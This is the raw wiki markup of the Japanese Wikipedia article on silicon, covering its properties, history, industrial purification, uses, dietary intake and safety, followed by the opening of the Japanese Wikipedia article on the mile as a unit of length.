|appearance=金属光沢のある暗灰色
|image name=SiliconCroda.jpg
|image size= 200px
|image name comment=
|image name 2=Silicon Spectra.jpg
|image name 2 comment=ケイ素のスペクトル線
|left=[[アルミニウム]]
|right=[[リン]]
|above=[[炭素|C]]
|below=[[ゲルマニウム|Ge]]
|series=半金属
|series comment=
|group=14
|period=3
|block=p
|series color=
|phase color=
|atomic mass=28.0855
|atomic mass 2=3
|atomic mass comment=
|electron configuration=[[[ネオン|Ne]]] 3s{{sup|2}} 3p{{sup|2}}
|electrons per shell=2, 8, 4
|color=
|phase=固体
|phase comment=
|density gplstp=
|density gpcm3nrt=2.3290
|density gpcm3nrt 2=
|density gpcm3mp=2.57
|melting point K=1687
|melting point C=1414
|melting point F=2577
|boiling point K=2628
|boiling point C=2355<ref>T. Michael Duncan, Jeffrey Allen Reimer, [https://books.google.co.jp/books?id=rxVBLC-mL_UC&pg=PA27&redir_esc=y&hl=ja ''Chemical engineering design and analysis: an introduction''], p. 25, Cambridge University Press, 1998 ISBN 0521639565</ref>
|boiling point F=4271
|triple point K=
|triple point kPa=
|critical point K=
|critical point MPa=
|heat fusion=50.21
|heat fusion 2=
|heat vaporization=359
|heat capacity=19.789
|Entropy=18.7 J mol{{sup-|1}} K{{sup-|1}}
|vapor pressure 1=1908
|vapor pressure 10=2102
|vapor pressure 100=2339
|vapor pressure 1 k=2636
|vapor pressure 10 k=3021
|vapor pressure 100 k=3537
|vapor pressure comment=
|japanese crystal structure=[[立方晶系]]
|crystal structure=cubic
|oxidation states='''4''', 3 , 2 , 1<ref>R. S. Ram et al. “Fourier Transform Emission Spectroscopy of the A2D–X2P Transition of SiH and SiD” [http://bernath.uwaterloo.ca/media/184.pdf J. Mol. Spectr. 190, 341–352 (1998)]</ref> −1, −2, −3, −4
|oxidation states comment=[[両性酸化物]]
|electronegativity=1.90
|number of ionization energies=4
|1st ionization energy=786.5
|2nd ionization energy=1577.1
|3rd ionization energy=3231.6
|atomic radius=111
|atomic radius calculated=
|covalent radius=111
|Van der Waals radius=210
|magnetic ordering=[[反磁性]]<ref>[http://www-d0.fnal.gov/hardware/cal/lvps_info/engineering/elementmagn.pdf Magnetic susceptibility of the elements and inorganic compounds], in Handbook of Chemistry and Physics 81st edition, CRC press. </ref>
|electrical resistivity=
|electrical resistivity at 0=
|electrical resistivity at 20=10{{sup|3}} <ref name=ioffe/>
|thermal conductivity=149
|thermal conductivity 2=
|thermal diffusivity=
|thermal expansion=
|thermal expansion at 25=2.6
|speed of sound=
|speed of sound rod at 20=8433<!-- Source : Elastic Waves in Solids, by E. Dieulesaint and D. Royer -->
|speed of sound rod at r.t.=
|Young's modulus=185<ref name="ioffe"/>
|Shear modulus=52<ref name="ioffe"/>
|Bulk modulus=100
|Poisson ratio=0.28<ref name="ioffe">http://www.ioffe.ru/SVA/NSM/Semicond/Si</ref>
|Mohs hardness=7
|Vickers hardness=
|Brinell hardness=
|CAS number=7440-21-3
|Band gap=1.12
|isotopes=
{{Elementbox_isotopes_stable | mn=28 | sym=Si | na=92.23 % | n=14}}
{{Elementbox_isotopes_stable | mn=29 | sym=Si | na=4.67 % | n=15}}
{{Elementbox_isotopes_stable | mn=30 | sym=Si | na=3.1 % | n=16}}
{{Elementbox_isotopes_decay | mn=32 | sym=Si | na=[[人工放射性同位体|syn]] | hl=170 [[年|y]] | dm=[[β崩壊|β{{sup-|}}]] | de=13.020 | pn=32 | ps=[[リン|P]]}}
|isotopes comment=
}}
{{+float|7em}}
'''ケイ素'''(けいそ、珪素、硅素、{{lang-en-short|silicon}}、{{lang-la-short|silicium}})は、[[原子番号]]14の[[元素]]である。[[元素記号]]は'''Si'''。[[原子量]]は28.1。「[[シリコン]]」とも呼ばれる。
== 名称 ==
[[1787年]]に、[[アントワーヌ・ラヴォアジエ]]が「silicon」と名付けた。[[ラテン語]]の「{{lang|la|silex}}」「{{lang|la|silicis}}」([[燧石]])にちなむ。のちに、[[宇田川榕庵]]が「[[舎密開宗]]」で「珪土」をケイ素(シリコン)の訳語とした。[[オランダ語]]のシリコンは「{{lang|nl|keiaarde}}」であり、「{{lang|nl|keisteen-aarde}}」(火打石の土)の短縮形であるため、玉偏の同音字「珪」(けい、「圭」の異体字)で音写した。のちに「硅」も出現したが、「珪素」が基準となった{{要出典|date=2021年4月}}。中国名の「{{lang|zh|硅}}」はこの日本の音写由来であると考えられる{{efn2|古代中国語の硅の発音はhuòであることなどから、{{harvtxt|成|2012|p=156}} は古代中国語からの転用である説を退けている。}}が、発音は{{pinyin|guī}}(グイ)と日本とは異なり{{efn2|当初は{{pinyin|xī}}と呼ばれていたとされ、経緯には諸説ある{{sfn|成|2012|pp=155-156}}。}}、また台湾においては旧来{{efn2|中国において「{{lang|zh|硅}}」が定着したのは、1959年以降であり、それ以前は両漢字名が競い合っていた{{sfn|成|2012|p=156}}。}}の「{{lang|zh|矽}}」({{pinyin|xī}}、シー)が21世紀初頭現在においても用いられている{{sfn|成|2012|pp=155-156}}。
== 性質 ==
[[ファイル:Кристална структура на германиум и силициум.jpg|thumb|最外殻電子が4つ(四価)のケイ素で形成された結晶構造。図から見ても分かるように、ダイヤモンド構造で形成されている]]
[[標準状態|常温・常圧]]で安定な[[結晶]]構造は[[ダイヤモンド|ダイヤモンド構造]]。[[比重]]2.33、[[融点]]1410 [[セルシウス度|{{℃}}]](1420 {{℃}})、[[沸点]] 2600 {{℃}}(ほかに2355 {{℃}}、3280 {{℃}}という実験値あり)。ダイヤモンド構造のケイ素は、1.12 [[電子ボルト|eV]]の[[バンドギャップ]](実験値)をもつ[[半導体]]である。これは[[非金属]]であるが、[[圧力]]([[静水圧]])を加えると、βスズ構造<!--錫とは?-->に[[構造相転移]]する。このβスズ構造のケイ素は[[金属]]である。更にケイ素には、シリセンという、ケイ素原子が環状に6個結びついた同素体がある。[[周期表]]において、すぐ上の元素は[[炭素]]だが、その常温常圧での安定相である[[グラファイト|グラファイト構造]]は、ケイ素においては安定な構造として存在できない。
== 分布 ==
ケイ素は、[[地球]]の主要な構成元素のひとつである。地球地殻の質量の74.32 %は[[酸素]](46.60 %)とケイ素(27.72 %)で占められており{{efn2|酸素の[[イオン半径]]はケイ素の3倍以上であるため、体積においてはケイ素の0.86 %に対して酸素が93.77 %を占める{{sfn|酒井|2003|pp=48-49}}。}}、[[石英]]の成分である[[二酸化ケイ素|SiO{{sub|2}}]]が地殻の大部分を構成している{{sfn|酒井|2003|pp=48-49}}。地殻の[[造岩鉱物]]の92 %はSiO{{sub|4}}の四面体を結晶構造の基本単位とする[[珪酸塩鉱物]]である{{sfn|酒井|2003|pp=48-49}}。
== 歴史 ==
[[1787年]]に、[[アントワーヌ・ラヴォワジエ]]が初めて元素として記載した。しかしラヴォワジエは、燧石そのものを元素だと思っていた。
[[1800年]]に、[[ハンフリー・デービー]]の研究によって燧石は[[化合物]]だったことが判明した。
[[1811年]]に、[[ジョセフ・ルイ・ゲイ=リュサック]]と[[ルイ・テナール]]が、のちのベルセリウスと同様の方法で[[アモルファスシリコン]]の分離に成功したと考えられている。
[[1823年]]に、[[イェンス・ベルセリウス]]が[[四フッ化ケイ素]]と[[カリウム]]を加熱して単離に成功した。
== 用途 ==
[[バンドギャップ]]が常温付近で利用するために適当な大きさであること、[[ホウ素]]や[[リン]]などの不純物を微量[[ドープ|添加]]させることにより、[[p型半導体]]、[[n型半導体]]のいずれにもなることなどから、[[電子工学]]上重要な元素である。半導体部品として利用するためには高純度である必要があり、このため精製技術が盛んに研究されてきた。現在、ケイ素は{{val|99.9999999999999}} %(15N{{efn2|「9」({{lang|en|Nine}})が15個並ぶことを意味する略称。}})まで純度を高められる。また、[[Si(111)]] 基板は[[原子間力顕微鏡|AFM]]や[[走査型トンネル顕微鏡|STM]]の標準試料としてよく用いられる。
[[File:Monokristalines Silizium für die Waferherstellung.jpg|thumb|right|360x360px|ケイ素の[[単結晶]]]]
=== 赤外光学系 ===
ケイ素は赤外域(波長2–6 [[マイクロメートル|μm]])で高い透過率があり、レンズや窓の素材に用いられる。波長4 μmの屈折率は3.4255<ref>{{cite book |title=ユーザーエンジニアのための光学入門 |author=岸川利郎 |publisher=オプトロニクス |year=1990 |isbn=4-900474-30-4}}</ref>。
=== 半導体素子 ===
[[File:Silicon wafer with mirror finish.jpg|thumb|鏡面研磨されたシリコンウェハー]]
[[四塩化ケイ素]]や[[トリクロロシラン]]から作られる[[高純度ケイ素]]の塊([[シリコンウェハー]])は、[[半導体素子]]に用いられる。また、[[液晶ディスプレイ]]の[[薄膜トランジスタ|TFT]]や[[ソーラーパネル]]には、[[アモルファスシリコン]]や多結晶シリコンなどが用いられる。[[ヒ化ガリウム]]や[[窒化ガリウム]]などの[[化合物半導体]]の基板にシリコンを用いれば、大幅な低価格化が可能であり、さまざまな研究や実用化が進められている。
=== ケイ素含有合金 ===
[[電気炉]]における製鉄材料として[[鉄]]1トンあたり4 kg前後のケイ素が添加されるほか、ケイ素合金として[[製鉄]]の[[脱酸素剤]]に用いられる。そのほかに、ケイ素を混ぜた鋼板([[ケイ素鋼|ケイ素鋼板]])は、[[鉄損#渦電流損|うず電流]]による損失が少なくなるため、[[変圧器]]に使われている。[[アルミニウム]]工業の分野でもケイ素の合金が使われている。また、鉛レス黄銅にも添加される。
=== ケイ素含有セラミックス類 ===
ケイ素の酸化物([[二酸化ケイ素|シリカ]])を原料とする[[ガラス]]は、[[窓]]などで使われるほか、[[繊維]]状にした[[グラスウール]]は[[断熱材]]や吸音材としても用途がある。[[ゼオライト]]は、[[イオン交換|イオン交換体]]、吸着剤あるいは、有機化学工業における[[触媒]]ともなっている。[[シリカゲル]]は、非常に利用しやすい[[乾燥剤]]になる。
[[炭化ケイ素]]は、耐火材や抵抗体として使われたり、高い[[モース硬度]](9.5)を持つために[[研磨剤]]として使われたりする。そのほかのケイ素化合物として、[[アルミノケイ酸塩]]が[[粘土]]に含まれ、[[陶磁器|陶器]]や[[セメント]]・[[煉瓦]]など[[セラミックス]]と呼ばれる材料の主成分になっているほか、[[カルシウム]]化合物を除去する働きから、[[水]]の精製に使われるなどしている。
=== アボガドロ定数の決定 ===
{{See also|アボガドロ定数|キログラム}}
ケイ素の単結晶は半導体材料として工業上重要であるため、もっとも高純度・低欠陥な結晶が実現されている材料のひとつである。このことから、{{sup|28}}Siのほぼ無欠陥な単結晶により真球を作成し、この真球から[[アボガドロ定数]]の正確な値と、1 [[キログラム]]を構成するのに必要な原子の個数を決定する試みが行われた<ref>{{Cite journal|author = B. Andreas ''et al.''|title = Determination of the Avogadro Constant by Counting the Atoms in a {{sup|28}}Si Crystal|journal = Physical Review Letters|publisher = [[アメリカ物理学会|American Physical Society]]|year = 2011|doi = 10.1103/PhysRevLett.106.030801|url = http://journals.aps.org/prl/abstract/10.1103/PhysRevLett.106.030801|volume = 106|page = 030801}}</ref>。2019年5月20日よりアボガドロ定数は{{val|6.02214076e23|u=mol{{sup-|1}}}}という定義値として施行されることになった。
=== 機械式時計の部品 ===
ケイ素は[[鉄]]と違って軽いうえ[[磁性]]を帯びないため、[[機械式時計]]の部品([[ゼンマイ]]、[[ガンギ車]]など)の素材としても用いられるようになっている。最初に実用化に成功したのは[[スイス]]・[[ユリス・ナルダン]]の『フリーク』(2001年)<ref>[https://www.webchronos.net/iconic/37582/ ユリス・ナルダン フリーク Part.2]、WebChronos、2020年2月11日</ref>で、以降スイスの高級時計メーカーで採用が進められている。[[日本]]では、[[2021年]]に[[セイコーエプソン]]が[[プリンターヘッド]]の製造技術を応用し、「[[オリエント時計|オリエントスター]]」ブランドで初めて発売に踏み切った<ref>[https://www.webchronos.net/features/59771/ オリエントスター来し方70年 煌めきのクライマックス]、WebChronos、2021年2月5日</ref>。
ただし、製造には[[LIGA]]や[[MEMS]]など高度な成型技術が必要なうえ、壊れやすいため歩止まりが低いなど、実用化されてから日が浅いため欠点や不明な点が多く、採用しないメーカーも多い。
== ケイ酸塩・ケイ素樹脂 ==
[[#分布|前述]]のように、ケイ酸塩はさまざまな形で地殻上に存在しており、天然に存在するケイ素化合物のほとんどが、二酸化ケイ素およびケイ酸塩である。工業的にも広く用いられ、ガラス、陶磁器、[[肥料]]など、枚挙に暇がない。
[[石綿|アスベスト]]は、繊維状のケイ酸塩鉱物であり、耐薬品性や耐火性から以前は[[建材]]などに広く用いられたが、[[中皮腫]]が問題になったため、使用量は激減している。日本でもアスベストによる健康被害が社会問題となり、[[労働災害|労災]]認定や健康被害を受けた人に対しての補償問題、また、依然として既存[[建築物]]に多く残るアスベストの撤去問題を抱える。
有機基を有するケイ素二次元および三次元酸化物は、[[シリコーン]]と呼ばれる。このものは、優れた耐熱性、耐薬品性、低い毒性などの有用な性質を示し、[[油|油状]]のものは[[蝋|ワックス]]、[[熱媒体]]、[[消泡剤]]などに用いられる。三次元シリコーンはゴム弾性を示し、[[ゴム|ゴム状]]のものは[[ホース]]やチューブ、[[天然樹脂|樹脂状]]のものは[[塗料]]や[[絶縁体|絶縁材]]、接着剤など各種の用途に利用される。
== 製法 ==
=== 原料 ===
工業用ケイ素の主原料は、SiO{{sub|2}}からなる[[二酸化ケイ素]]([[珪石]]、[[珪砂]]、シリカとも)である。日本国内の埋蔵量は2億トンあるとされるが、アルミニウムと同様、酸化物から還元するには大量の電力を必要とするため、金属シリコンの状態になってから輸入するのが一般的である。
世界の[[二酸化ケイ素]]の埋蔵量はきわめて潤沢であり、高純度のものも世界に広く分布する<ref name="USGS_Sand">[http://minerals.usgs.gov/minerals/pubs/commodity/silica/mcs-2008-sandi.pdf SAND AND GRAVEL(INDUSTRIAL)], [[アメリカ地質調査所]]</ref>。[[二酸化ケイ素#埋蔵量]]を参照。
=== 精製 ===
; 金属グレードシリコン(MG-Si)
:英語で"metallurgical-grade silicon" (MG-Si)と呼ばれる。直訳で「冶金グレードシリコン」であるが、日本語で金属グレードシリコンや金属シリコンと呼ばれることもある<ref name="semi-net-mg-si">[https://semi-net.com/word/%E9%87%91%E5%B1%9E%E3%82%B7%E3%83%AA%E3%82%B3%E3%83%B3%EF%BC%9Amg-si 金属シリコン:MG-Si(SEMI-NET)]</ref>。
: ケイ素の単体はカーボン電極を使用したアーク炉を用いて、二酸化ケイ素を還元して得る。この際、精製されたケイ素は純度99 %程度のものである。
: <chem>SiO2 + C -> Si + CO2</chem>
: <chem>SiO2 + 2C -> Si + 2CO</chem>
; 高純度ポリシリコン
: さらに純度を高めるには、[[塩素]]と反応させ[[四塩化ケイ素]]にする。これは揮発性の高い液体なので、これを[[蒸留]]して純度を高める。そうして得られた純度の高い四塩化ケイ素を水素ガスと反応させて分解することで金属単体シリコンを得る。
: <chem>Si + 2Cl2 -> SiCl4</chem>
: <chem>SiCl4 + 2H2 -> Si + 4HCl</chem>
; 半導体グレードシリコン(SEG-Si)
: [[集積回路]]に使用する[[半導体素子]]用の超高純度のケイ素(純度[[イレブンナイン|11N]]以上)は、上記の高純度シリコンから、さらにFZ(フローティングゾーン)法の[[ゾーンメルト法|ゾーンメルティング]]や[[チョクラルスキー法|Cz(チョクラルスキー)法]]の単結晶成長法による析出工程を経ることで製造される。
: ゾーンメルト法では、結晶中の不純物が融解帯に掃き出されて濃縮する過程を繰り返すことで、高純度のケイ素を得る。Cz法においては偏析を利用して高純度化するため、原料である[[ポリシリコン]]([[多結晶]]珪素)には、非常に純度の高いものが要求される。半導体に利用するには基本的に[[格子欠陥|結晶欠陥]](転位)のない単結晶が必要とされ、FZ法(フローティングゾーン)においてもCz法(チョクラルスキー)においても単結晶を回転させながらいったん細くし、転位を外に追い出した段階で結晶の径を大きくすることにより、所定の大きさの結晶を得る。FZ法は大口径化に向かないため、産業用に使用されている[[シリコンウェーハ]]の大部分はCz法によって製造されている。現在製品化されているシリコンウェーハの径は直径300 mmまでである。なお、半導体メーカー数社による[[コンソーシアム]]「[[G450C]]」による直径450 mmのシリコンウェハーの開発が現在検討中である。
; [[ソーラーグレードシリコン|太陽電池グレードシリコン(SOG-Si)]]
: [[再生可能エネルギー]]発電の需要増大が起きる前は、[[ソーラーパネル]]の製造および需要事情は、半導体グレード(SEG)ほどの需要に応えられるような超高純度は必要なく、7N程度の純度で済み、また多結晶でも充分目的が果たせられる。このため上記の単結晶シリコンインゴットの端材などが原料に利用されてきた。
: しかし、再生エネルギー発電の需要増大にともない、専用の太陽電池グレード('''ソーラーグレード''')シリコンの生産法が開発されている。手順としては上記の半導体グレード(SEG)の精製工程を簡略化した方法のほか、下記のような手法が用いられる。半導体グレード(SEG)に比べ、使用するエネルギーや製造費用が数分の1以下になるとされる手法が多い([[ソーラーグレードシリコン]]を参照)。
:* 流動床炉(FBR)法:種結晶を気流で巻き上げながら、表面にシリコンを析出させる。
:* 冶金法:金属グレードシリコンから冶金学的手法によって直接ソーラーグレードシリコンを製造する。
:* 水ガラス化法:珪石(SiO{{sub|2}})を[[水ガラス]]化した状態で高純度化してから還元する。
:* NEDO溶融精製法:金属グレードシリコンを電子ビームやプラズマで溶融させて特定の不純物を除いたあと、一方向凝固させる。
: ソーラーグレードシリコンは2006年(平成18年)ごろには高純度シリコン市場の約半分を占め、今後もその割合は拡大すると見られている<ref name="Wacker_SOG_review">[http://www.wacker.com/cms/media/documents/investor_relations/280606_polysilicon_expansion.pdf Wacker Polysilicon: Expansion Announcement June 2006](Wacker 社による生産量拡大のアナウンス資料)</ref>。今後はソーラーグレードが高純度シリコン生産量の大部分を占め、半導体級は特殊品になっていくと予測されている<ref name="NISTEP_Review">[https://web.archive.org/web/20160305114006/http://www.nistep.go.jp/achiev/ftx/jpn/stfc/stt070j/0701_03_featurearticles/0701fa03/200701_fa03.html 河本洋、奥和田久美、高純度シリコン原料技術の開発動向]([[科学技術政策研究所]])2016年3月5日時点のアーカイブ。</ref>。また太陽電池用シリコン原料は2008年(平成20年)までは供給の逼迫で価格が高止まりしていたが、2009年(平成21年)からは価格の低下が予測されている<ref name="greentech_SiPrice">[http://www.greentechmedia.com/articles/new-energy-finance-predicts-43-solar-silicon-price-drop-1288.html New Energy Finance Predicts 43% Solar Silicon Price Drop, greentechmedia, 18 August 2008]</ref>。
;実験室的製法
: しばし授業や趣味の一環で、マグネシウムなどのアルカリ金属を使用したテルミット反応を利用して、金属ケイ素を精製することがある。<ref>{{Cite book|洋書|title=mad science|date=5/21|year=2010|publisher=オライリー・ジャパン|pages=183,184,185}}</ref><ref>{{Cite journal|和書|author=植田和利, 伊東和彦, 上原誠一郎, 佐藤博樹 |year=2016 |title=太陽炉を利用したマグネシウムによる二酸化ケイ素の還元とその教材化 |journal=科学教育研究 |publisher=日本科学教育学会 |volume=40 |issue=1 |pages=39-45 |naid=130005144680 |issn=0386-4553 |doi=10.14935/jssej.40.39 |url=https://doi.org/10.14935/jssej.40.39}}</ref>
: <chem>SiO2 + 2Mg -> Si +2MgO</chem>
: <chem>4Mg + SiO2 -> 2MgO +Mg2Si</chem>
: しかし、この反応でできたケイ素とマグネシウムが反応して、ケイ化マグネシウムが形成されることがある。
: この反応は防げないため、純粋なケイ素だけを得るためには塩酸と反応させる必要がある。
: <chem>Mg2Si +2HCl -> 2MgCl2 +H4Si</chem>
== ケイ素化合物 ==
{{col-list|45em|
* [[一酸化ケイ素]](SiO)
* [[二酸化ケイ素]](SiO{{sub|2}})- [[石英]]など
* [[ケイ酸]]
* [[窒化ケイ素]](Si{{sub|3}}N{{sub|4}})
* [[炭化ケイ素]](SiC)
* [[ケイ酸塩]](MgSiO{{sub|3}}など)
* [[四塩化ケイ素]](SiCl{{sub|4}})- [[煙幕]]
* [[シラン (化合物)|シラン]](SiH{{sub|4}})
* [[シリコーン]]
* [[ケイ素樹脂]]
* [[環状シロキサン]](D3、D4など)
* [[有機ケイ素化合物]] - [[トリメチルシリル基]](-Si(CH{{sub|3}}){{sub|3}})などを有する[[有機化合物]]。[[保護基]]や[[脱離基]]として[[有機合成]]に汎用されている。
}}
== 同位体 ==
{{main|ケイ素の同位体}}
== 生物 ==
生物として知られているのは、[[放散虫]]・[[珪藻]]・[[シダ植物]]・[[イネ科]]植物などにおいて[[二酸化ケイ素]]のかたちでの骨格への利用に留まる。栄養素としての必要性は詳しく分かっていない。炭素とケイ素との化学的な類似から、[[サイエンス・フィクション|SF]] などではケイ素を主要な構成物質とする[[ケイ素生物]]が想定されることがある。{{要出典|date=2021年5月}}
* [[珪藻]]はケイ素を外部から取り込み細胞壁に利用している。珪藻の堆積物は[[珪藻土]]と呼ばれる。{{要出典|date=2021年5月}}
* 一部の植物ではケイ素の量と成長との間に関連がある。また病原体への抵抗力とも関連している<ref name="JoNHA2007"/>(''植物について詳しくは[[栄養素_(植物)#ケイ素]]参照'')。
* ラットでは、骨と結合組織(皮膚、爪、髪、気管、腱、大動脈)にケイ素が多い。<ref name="JoNHA2007"/>
* ヒトの体内には平均1 gのケイ素が含まれる。<ref>{{cite book|title=Nature’s Building blocks|edition=New Edition|author=John Emsley|publisher=Oxford University Press|year=2011|page=482|url=|isbn=978-0-19-960563-7}}</ref>
== 摂取 ==
===効果===
効果の立証が不十分な文献が多く、実際どのような効果があるのかは分かっていない。
しかし、[[必須元素]]では無いため、効果は極めて小さいと考えられている。
=== 摂取基準 ===
安全性に関するデータが十分ではなく、日本や米国でも摂取基準などは定められていない。
=== 推定摂取量 ===
ヒトの推定摂取量を次に示す。<ref name="JoNHA2007">{{cite journal|title=SILICON AND BONE HEALTH|journal=The journal of nutrition, health & aging|year=2007|volume=11|issue=2|work=Review|url=https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2658806/|pmid=17435952}}</ref>
* 西側諸国 : 20–50 mg/日
* インド : 143–204 mg/日{{efn2|インドは男性のビール摂取量が多く、ビールにはケイ素が多く含まれるため数値が高いと考えられている。[[シリカ#ろ過助剤]]を参照のこと。}}
* 中国 : 139 mg/日
以下はイギリスでの食品中のケイ素の量を計測したデータ。ケイ素を比較的多く含む食品を抜粋した。
{{Hidden begin|border = #aaa solid 1px|titlestyle=text-align: center; |title=食品中のケイ素含量|bg=#F0F2F5}}
{|class="wikitable sortable" style="text-align:center"
|+ 食品中のケイ素含量(イギリス)<ref name="BJoN2005">{{cite journal|title=A provisional database for the silicon content of foods in the United Kingdom|journal=British Journal of Nutrition|year=2005|volume=94|url=|pmid=16277785|doi=10.1079/BJN20051542}}</ref>
|-
! 食品 !! 1食分 (g)!! ケイ素含量<br>(mg/1食分) !! ケイ素含量<br>(mg/100 g)
|-
| グラノーラ<br>(シリアル)|| 60 || 7.35 || 12.25
|-
| ミューズリー<br>(スイススタイル)|| 50 || 2.80 || 5.59
|-
| オートブラン || 14 || 3.27 || 23.36
|-
| スパゲティ<br>(茹で) || 220 || 1.45 || 0.66
|-
| コメ(玄米)<br>(茹で) || 120 || 4.51 || 3.76
|-
| コメ(短粒種)<br>(茹で) || 120 || 1.18 || 0.98
|-
| 小麦ふすま || 14 || 1.54 || 10.98
|-
| バナナ<br>(生) || 100 || 4.77 || 4.77
|-
| マンゴー<br>(生) || 150 || 3.0-4.7 || 2.0-3.15
|-
| パイナップル<br>(生) || 80 || 3.14 || 3.93
|-
| 豆腐 || 60 || 1.78 || 2.96
|-
| サヤインゲン<br>(茹で) || 90 || 7.86 || 8.73
|-
| ホウレンソウ<br>(茹で) || 80 || 4.10 || 5.12
|-
| 水道水 || 200 || 0.50 || 0.25
|-
| ラガービール<br>(缶) || 333 || 5.46 || 1.64
|}
{{Hidden end}}
==安全性==
* 健康な腎機能を有する人では、通常の食物からの摂取量では問題が起こることはないと考えられている<ref name="JoNHA2007"/><ref name="hfnet">{{hfnet|579|ケイ素、ケイ素化合物}}</ref>。
* 医薬品やサプリメントなどによるケイ素を含む化合物の長期の摂取では腎結石、腎障害などを起こす可能性がある。<ref name="JoNHA2007"/>
* ケイ素が172 mg/L含まれる湧水の摂取によると考えられる[[腎結石]]の報告がある<ref>{{cite journal|title=Renal silica calculi in an infant|doi=10.1111/j.1442-2042.2004.00746.x|journal=International Journal of Urology|volume=11|issue=2|date=Feb 2004|pmid=14706018}}</ref>。十分に管理されていない[[湧水]]や[[井戸水]]、[[鉱泉]]などの天然水には高濃度のケイ素が含まれることがある。
* ケイ素を含む粉体の吸入により[[珪肺]]など呼吸器系の障害を起こすことがある。
== 脚注 ==
{{脚注ヘルプ}}
===注釈===
{{Notelist2|45em}}
===出典===
{{Reflist|30em}}
== 参考文献 ==
; SOG 製法
:* [[山田興一]]・[[小宮山宏]]「太陽光発電工学」ISBN 4-8222-8148-5
:* 小長井誠「薄膜太陽電池の基礎と応用」ISBN 4-274-94263-5
; SEG 製法 シリコンウェーハ
:* 志村史夫「半導体シリコン結晶工学」ISBN 4-621-03876-1
; その他
:* 『シリコンの物語 エレクトロニクスと情報革命を担う』フレデリック・サイツ著 堂山 昌男・北田 正弘訳 内田老鶴圃 2000年発行 ISBN 4-7536-6131-8
:* {{cite book|和書|last=酒井|first=治孝|title=地球学入門 ― 惑星地球と大気・海洋のシステム|publisher=[[東海大学出版会]]|edition=第1版第1刷|date=2003-03-31|isbn=4-486-01615-7|ref=harv|year=2003}}
:* {{cite journal|和書|date=2012-03-25|last=成|first=明珍|title=中国の化学元素名に用いられる漢字について|journal=ソシオサイエンス|publisher=[[早稲田大学社会科学部|早稲田大学大学院社会科学研究科]]|vol=18|pages=145-160|naid=40019320960|ref=harv}}
== 関連項目 ==
{{Commons|Silicon}}
{{Wiktionary|ケイ素}}
{{div col||20em}}
* [[半導体工学]]
* [[シリコンバレー]]
* [[プラント・オパール]]
* [[シリコンフォトニクス]]
* [[多結晶シリコン]](ポリシリコン)
{{div col end}}
== 外部リンク ==
* {{hfnet|579|ケイ素}}
* {{ICSC|1508}}
* {{Cite web|和書|url=https://anzeninfo.mhlw.go.jp/anzen/gmsds/7440-21-3.html|title=安全データシート ケイ素(粉末、無定形のもの)|work=職場の安全サイト|date=2010年3月|publisher=厚生労働省|accessdate=2018年2月23日}}
* {{Kotobank}}
{{元素周期表}}
{{ケイ素の化合物}}
{{Normdaten}}
{{DEFAULTSORT:けいそ}}
[[Category:ケイ素|*]]
[[Category:元素]]
[[Category:第14族元素]]
[[Category:第3周期元素]]
[[Category:半金属]]
[[Category:光学材料]]
[[Category:半導体材料]] | 2003-04-15T09:40:09Z | 2023-12-18T19:31:25Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%B1%E3%82%A4%E7%B4%A0 |
6,760 | マイル | マイル(英語: mile、記号:mile、mi)は、ヤード・ポンド法等における長さ (length) の単位である。
今日では、マイルという単位は通常は、主に陸上の長さの計測に用いられる 1 国際マイル = 1760 ヤード (yard) = 正確に 1609.344 メートル (metre) を指す。日本の計量法における定義も同じである。米国には、国際マイルとわずかに異なる測量マイルがあったが2022年12月31日限りで廃止された(後述)。
これ以外に、主として海上(船)や空中(飛行機)で用いられる距離 (distance) の単位として、 海里 (nautical mile)がある。 1 海里は、正確に 1852 メートルである。
国際マイルと海里以外にも数種類のマイルがある。
今日に残っているマイルには以下のものがある。
米国や英国の競馬での距離には、マイルを用いている。日本の競馬では、マイルチャンピオンシップのようにレース名に用いられたり、習慣的に 1600 メートルをマイルと呼ぶことはあるが、公式な競走距離の単位としては採用されていない。また、1 マイルの距離に適性のある競走馬は、マイラーと呼ばれている。
日本における単位記号は、計量単位規則により、"mile" と定められている。
米国での文章表記の基準の一つである U.S. Government Publishing Office Style Manual では、"mi" を用いると定めている。
米国の航空分野では "SM" を使用する。これはStatute Mileの頭文字で、海里 "NM" との区別の必要があるためである。
英国では "ml" である。かつては "m" も用いられたが、メートルと同じであるため、今日ではあまり用いられない。
日本国内の鉄道は、明治期に英国や米国から導入したため、昭和初期までは距離をマイルで表し、また単位記号は現在とは異なり、大文字の "M"、もしくは漢字の"哩"(マイル)を用いていた。
英語圏以外でもマイルと英訳される、あるいはマイルがそのように訳される距離の単位が多い。
その範囲は広く、1〜11 キロメートル の範囲にわたる。主なマイルの長さは以下のとおり。
ただし、メートル法移行により、以上の様々なマイルは歴史的な単位となり、単に「マイル」といえば「ヤード・ポンド法のマイル」を意味することになった。
メートルマイル (metric mile) は、マイルをメートル法化したもので、その長さは 1500 メートル (約 4921.26 国際フィート)である。1500 という数字は、1 マイル(1609.344 メートル)に近く、かつメートルで切りの良い値になるように決められたものである。メートルマイルは陸上競技で使用されている。中距離走の1500メートル競走は、国際大会においてそれまでの「1 マイル走」に代わるものとして始められたものである。多くの陸上競技用トラックは1周 400 メートルであるため、1500 メートル走は 3 周と 4 分の 3 で競われる。米国の高等学校における競走では 1600 メートル (約 5249.34 国際フィート)を指す場合がある。
マイル (mile) という単語は、ラテン語の mille(千)に由来する。古代ローマには、2歩(片方の足を踏み出してから次に同じ足を踏み出すまで)分の長さに相当するパッスス ("passus") という単位があった。これの 1000 倍の "mille passus" がマイルの由来とされている。1 パッススは 5 フィートだったので(ただしこのフィートは現在のものより短い。現在のフィートでは約 4.83 フィートとなる)、1 マイルは 5000 フィートとなる。ローマ人がヨーロッパ中に建設される道には、ローマを起点として 1 マイルごとに標石が設置された。その標石はマイルストーンと呼ばれる。1593年、エリザベス1世によって、1 マイルは 8 ハロン(5280 フィート)と定められた。そのため、このマイルは statute mile(法定マイル)と呼ばれる。
航海の分野では、地理マイルが一般的に使われた。地理マイルは、地球の赤道に沿って 1 分の弧の長さ(約 1855 メートル)として定義された。
1959年に国際マイルが採用されたとき、それまで米国で地籍測量に使われていたマイルが米国測量マイルとして残されたが、2022年12月31日限りで廃止された。
